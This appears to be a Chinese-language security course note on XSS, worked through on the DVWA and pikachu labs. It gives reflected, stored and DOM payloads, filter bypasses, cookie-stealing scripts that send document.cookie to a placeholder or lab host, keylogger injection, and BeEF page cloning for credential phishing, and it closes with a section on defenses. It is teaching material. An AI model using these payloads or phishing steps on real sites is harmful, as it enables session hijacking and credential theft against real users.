XSS跨站脚本攻击漏洞
目录
一、基本概念
二、XSS分类
1、反射型XSS
2、存储型XSS
3、DOM型XSS
三、手工测试
1、反射型XSS漏洞
(1)安全等级low
(2)DOM的XSS
(3)安全等级medium
(4)安全等级high
2、存储型XSS漏洞
(1)安全等级low
(2)安全等级medium
(3)安全等级high
四、XSS盲打
五、XSS键盘记录
1、初始化自带的XSS后台
(1)BeEF的安装和配置
(2)BeEF克隆其他网站
七、XSS防御绕过
1、过滤不严格
2、HTML实体编码
八、XSS防御
1、输入检查
2、HTML实体编码
3、HTTPonly
4、内容安全策略
作业
一、基本概念
-
跨站脚本攻击主要针对的是用户层面的攻击。恶意攻击者往WEB页面内插入恶意脚本,当用户浏览该页面时,嵌入web里面的恶意代码就会被执行,从而达到恶意攻击用户的目的。有两个前提条件:一个是是否能够插入恶意脚本或者JS代码;一个是这个恶意代码是否能够被执行。
-
在WEB页面上,有一种常见的功能是:将用户输入的内容输出到页面上。但是如果输入的内容是一段经过构造的JS代码,提交之后再次访问这个页面时,用户就会获取该JS代码在浏览器端执行的结果。
二、XSS分类
1、反射型XSS
是一种非持久的攻击。只有攻击者诱导用户去点击URL访问网站才会造成攻击。
2、存储型XSS
是一种持久攻击。攻击者只需要将恶意代码保存在一个网页中,只要用户来访问这个页面,就会被攻击,谁来攻击谁。
3、DOM型XSS
是一种特殊的反射型XSS。DOM是文档对象模型,里面包含关于HTML的整体文档框架。我们可以通过JS操作一个一个的DOM对象,构造的恶意代码或者脚本可以处理这些DOM对象按照攻击者预设的意思或者代码逻辑进行执行,这样就造成了DOM型的XSS攻击。
三、手工测试
练习漏洞的靶场是DVWA,这里我使用的端口映射是8080.
docker pull sagikazarmark/dvwa
docker run -d -p 8080:80 sagikazarmark/dvwa
1、反射型XSS漏洞
(1)安全等级low
<script>alert(1)</script> 会造成一个弹窗。这个JS代码的语义是<script></script>是html标签,在中间的alert(1)是JS代码,会以JS代码逻辑去执行。当浏览器接收到这串代码之后,浏览器的渲染引擎认识左右两边的html标签,该标签的语义是中间写的内容都是JS代码,然后将JS代码交给解析引擎去处理,最终造成一个弹窗的结果。 <script>alert(XSS)</script> 会[object HTMLFormElement]报错,这是因为XSS是一个字符串,需要使用单引号括起来。 <script>alert('XSS')</script> 这样就可以弹出xss
通过标签和事件的对应关系也可以造成弹窗 <img src=## οnerrοr=alert(document.cookie)> 这是img标签,其中img_src后面应该写的一张图片的路径,当路径发生错误的之后则执行后面的事件,触发弹窗。document.cookie可以返回当前网页的cookie值。 事件与标签之间是一一对应的,这里a标签对应的事件是onmouseover,需要鼠标移动到a标签的位置才能触发。 <a οnmοuseοver=alert(document.cookie)>红包</a>
(2)DOM的XSS
-
上面所述的都是只有受攻击的人自己可以看到当前网页的cookie,攻击者无法看到,这对于攻击者来说是毫无意义的。且这样只能证明存在XSS漏洞。所以我们要将cookie发送到远程服务器中。
<script>var img=document.createElement("img");img_src=alert(document.cookie);</script> 造成弹窗 <script>var img=document.createElement("img");img_src="http://xxxx/a?"+escape(document.cookie);</script> var是用来声明一个变量,加号是用来进行拼接的,escape是一种编码方式。将收到的cookie进行escape编码然后拼接到前面的网站中,那么这个网站是攻击者的服务器,只有攻击者可以看到,而其他人看不到。攻击者可以在自己的WEB日志中进行查看,根据访问行为去获取cookie编码之后的值,然后解码得到cookie值;这里cookie编码是为了躲避安全设备的检测。
(3)安全等级medium
-
当安全等级为中等的时候,我们通过查看dvwa网页的SQL语句会发现网站采用了$name = str_replace( '<script>', '', $_GET[ 'name' ] ); 将<script>标签过滤成为了空格。
因此输入 <script>alert(1)</script> 会返回hello alert(1),并没有造成任何弹窗,这说明<script>标签被过滤掉了
-
方法:采用绕过的手法
-
大小写混淆绕过:<sCripT>alert(1)</script>
-
双写绕过:<scr<script>ipt>alert(1)</script>
-
使用其他标签和事件对应引发弹窗:<img src=x Onerror=alert('XSS')>
-
(4)安全等级high
-
当安全等级为高的时候,通过查看源代码会发现网站使用了正则匹配精准匹配到</script>该标签,这个时候我们没有办法使用绕过手法了,只能采用使用其他标签和事件对应来造成攻击。
-
使用<img src=x Onerror=alert('XSS')>就可以造成弹窗,这里不再进行结果展示,和上面的操作是一样的。
2、存储型XSS漏洞
在进行存储型XSS漏洞的测试的时候需要完成一次攻击后就要对数据库进行更新,因为如果不更新上面一个攻击就还存在,无法确定是新的攻击生效还是旧的攻击生效。
(1)安全等级low
安全等级为low说明网站对于标签没有任何的过滤,所以很容易就造成攻击。
<script>alert(1)</script>
(2)安全等级medium
-
有两个输入框,通过查看源代码发现在Message中使用了addslashes函数对于SQL语句进行了特殊字符转义,无法绕过,那么我们只能使用上面输入框name来进行攻击了
-
name:这个输入框采用了过滤的方式,同上面反射型的中等的情况,还有一个就是这个输入框中有字符限制,我们有两种方法进行处理
-
一种是通过抓包,然后修改抓到的数据包进行请求包的修改,然后送过去造成攻击
-
一种是在当前网页按F12,然后直接修改字符的长度
-
-
那么在name中就可以使用大小写绕过,双写绕过和其他标签来进行攻击了。
(3)安全等级high
-
使用的是正则匹配精准匹配,所以攻击的方式只有通过换其他标签来进行。和上面的反射型的是同样的道理。
四、XSS盲打
靶场环境是pikachu docker pull area39/pikachu docker run -d -p 8082:80 area39/pikachu 盲打的含义是无法在客户端看到任何反馈的信息,比如,你填写完一个调查问卷,所有的回复都是感谢您的填写,没有第二种回复,这样就没有办法根据反馈来判断输入信息的正确与否了。所以在前端我们是无法判断是否存在XSS,这种情况下,我们直接往后台插入XSS代码,然后等待,当管理员或者用户访问到目标页面的时候就会遭到XSS攻击。
XSS盲打是一种攻击场景,属于存储型XSS类型。
pikachu--cross-site-script--xss盲打--输入一句话木马然后点击提示一下,然后访问后台网址,进行登录,就会发现有弹窗,就说明攻击成功。
五、XSS键盘记录
主要的功能是监听用户的输入。主要流程是XSS攻击帮助插入脚本文件,然后脚本文件的功能是实现监听效果。在pikachu靶场中的/var/www/html/pkxss/rkeypress/目录下面有一个脚本文件rk.js
原理: docker exec -it pikachu的运行ID /bin/bash cd /var/www/html/pkxss/rkeypress/rk.js vim rk.js 将脚本中的地址改为自己的靶场地址:10.0.0.161:8082 退出保存 rk.js这个脚本的功能是记录用户的输入,将记录的用户输入的内容发送给rkserver.php来进行保存,然后将其存在数据库中
具体的操作: 打开pikachu,进入XSS存储型在里面输入payload <script src="http://10.0.0.161:8082/pkxss/rkeypress/rk.js"></script> 点击提交,然后再该页面随便输入一些字符。 之后在pikachu中点击管理工具--XSS后台,然后根据提示进行登录,然后点击键盘记录。就会发现刚在在该页面进行输入的字符都被记录了下来。
六、XSS平台利用--获取cookie
1、初始化自带的XSS后台
退出XSS后台然后重新登录进入。
2、前台XSS盲打攻击获取cookie
在后端有一个目录/var/www/html/pkxss/xcookie/下的cookie.php文件是用来收集cookie值的。 (1)在pikachu靶场中,进入XSS盲打界面,然后输入可以获取cookie的payload: <script>document.write('<img src="http://10.0.0.161:8082/pkxss/xcookie/cookie.php?cookie='+document.cookie+'"/>')</script> 这个payload的意思是使用document.write向页面写一个img标签,src访问cookie.php并提供cookie值。(因为这个脚本文件就是用来收集网页的cookie的) 然后进入后台网站进行问卷调查的查看(点击提示一下,有个网站,然后进入进去就可以看到填写的内容了),然后退出登录。 (2)直接访问xss后台--登录--cookie值获取--就会发现相关的内容。这样就算是拿到一个cookie值了。
拿到一个cookie有什么用呢? 当我们要登录一个需要用户密码的网页的时候,如果我们的网址中携带cookie值我们就不需要输入用户名和密码了,就可以直接进行访问。
安装一个火狐插件cookie-editor(作者是cgagnier),其插件的作用主要是用来修改cookie。安装好插件之后就可以在插件中进行添加相关的cookie值: 如:ant[name];ant[pwd]等都要添加进去,添加进去之后访问后台网址是/xssblind/admin_login.php这里需要把admin_login.php改为admin.php。因为此时访问的URL是懈怠了cookie值的,所以要访问的是登录后的页面。
利用cookie的前提是该用户未关闭这个网页,因为关掉网页后cookie的值会发生变化。
有什么办法可以预防攻击者拿到cookie值之后进行登录? 网页登录开发人员可以设置禁止多人登录同一个账号 网站可以记录登录IP,若IP相同则安全,若IP不相同则拦截。拦截可以是强制都下线,或者给用户一个提示。
3、BeEF-XSS获取cookie
BeEF是web攻击平台,是一个工具,继承了很多payload,可以通过xss漏洞配合JS脚本和Metasploit(MSF攻击工具,是主机层面的漏洞攻击)进行渗透。
(1)BeEF的安装和配置
-
首先要安装一个kali镜像
-
然后再kali操作系统中安装beef
sudo apt install beef-xss
-
在配置文件中进行修改
在/usr/share/beef-xss/config.yaml中 将密码进行修改未123 将监听地址改为:在自己的电脑上 桌面键+R-- cmd--ipconfig ( ipv4就是自己主机的地址:192.168.3.153 这里我的电脑打开cmd之后直接输入ipconfig会发生报错显示不是命令,然后可以手动导航 cd C:\Windows\System32 ipconfig )
-
启动beef
cd /usr/share/beef-xss ./beef 其中有三个重要的参数 Hook URL: UI URL: Restiful API key: 登录 usname:beef password:123
(2)BeEF克隆其他网站
curl -H "Content-Type: application/json; charset=UTF-8" -d '{"url":"要克隆网站的url", "mount":"克隆在哪个目录"}' -X POST http://BEEF的URL的地址/api/seng/clone_page?token=beef的密钥 总共有四个部分需要填写
使用beef克隆一个登录页面从而获取用户名和密码 克隆页面本质只是克隆了一个页面。 这里克隆一个dvwa的登录页面,用户在克隆网站中进行登录,则在beef中可以看到用户输入的用户名和密码,达到一个钓鱼的效果。
(3)使用beef获取cookie值
payload是 <script src="HOOK URL"></script> 在XSS盲打页面提交该语句,访问留言后台 在beef中,点击上线网站--commands--点击命令getcookie--获取cookie (这里由于谷歌浏览器有安全机制,所以该实验在谷歌浏览器中不能成功) 这些命令有不同的颜色: 绿色:用户可能察觉到异常 橙色:用户可能会感到异常 灰色:不确定是否能够执行 红色:无法执行 不同浏览器中命令可行性不同
七、XSS防御绕过
1、过滤不严格
pikachu中--XSS过滤--会对script标签进行过滤--这里我们可以采用大小写绕过,其他标签替换的方式来进行绕过
2、HTML实体编码
& & " " < < > > HTML编码的特点是&符号开头分号结尾。 特殊的符号经过编码之后会发生变化,从而达到预防的效果。 XSS漏洞最好的防御方法就是做实体编码 eg: <img src="" οnerrοr=alert(1)> ==> <img src="" οnerrοr=alert(1)> 经过实体编码之后浏览器的渲染引擎不会对其进行识别,因此可以预防XSS漏洞。 但是在PHP中是通过htmlspecialchars()这个函数来实现HTML编码的,该函数在默认配置下,仅仅会编码双引号,故不安全。在对一个网站进行开发的时候,可以提示开发人员要对该函数进行完整的配置,使其能够对任意特殊字符都进行实体编码,达到安全的效果。
八、XSS防御
XSS攻击主要有两个重要的要素:
-
攻击者是否能够提交恶意代码--也就是输入
-
浏览器是否可以执行恶意代码--也就是输出
所以根本的解决方法是从输入到输出都需要进行过滤,转义。
1、输入检查
针对用户的输入进行过滤操作,但是一般情况下过滤是有限的,很容易通过大小写转换,双写,其他标签的方式绕过。
2、HTML实体编码
还可以使用Javascript编码手段。
3、HTTPonly
XSS的本质是获取cookie,而HTTPonly不是阻止XSS攻击,而是能够阻止XSS攻击之后的cookie劫持攻击。
4、内容安全策略
该防御的本质是建立白名单,只有在白名单内部的代码才能够进行执行。在网页中,这样的策略通过HTTP头信息或者meta元素进行定义。即使发生了XSS攻击,也不会加载白名单以外的来源不明的第三方脚本。也就是可以插入脚本,但是没在白名单的脚本是不可以进行执行,从而阻断了XSS攻击。
作业
上节课的剩下的一个题目:完成DVWA靶场存储型XSS的漏洞练习。
网络安全C10-2024.10.19
作业:(相关解答和实操部分均已经在上文中展示。)
1、XSS
(1)使用pikachu平台练习XSS键盘记录、前台XSS盲打攻击获取cookie,利用cookie实现登录 (2)使用beef制作钓鱼页面,克隆任意站点的登录页面并获取用户登录的账号密码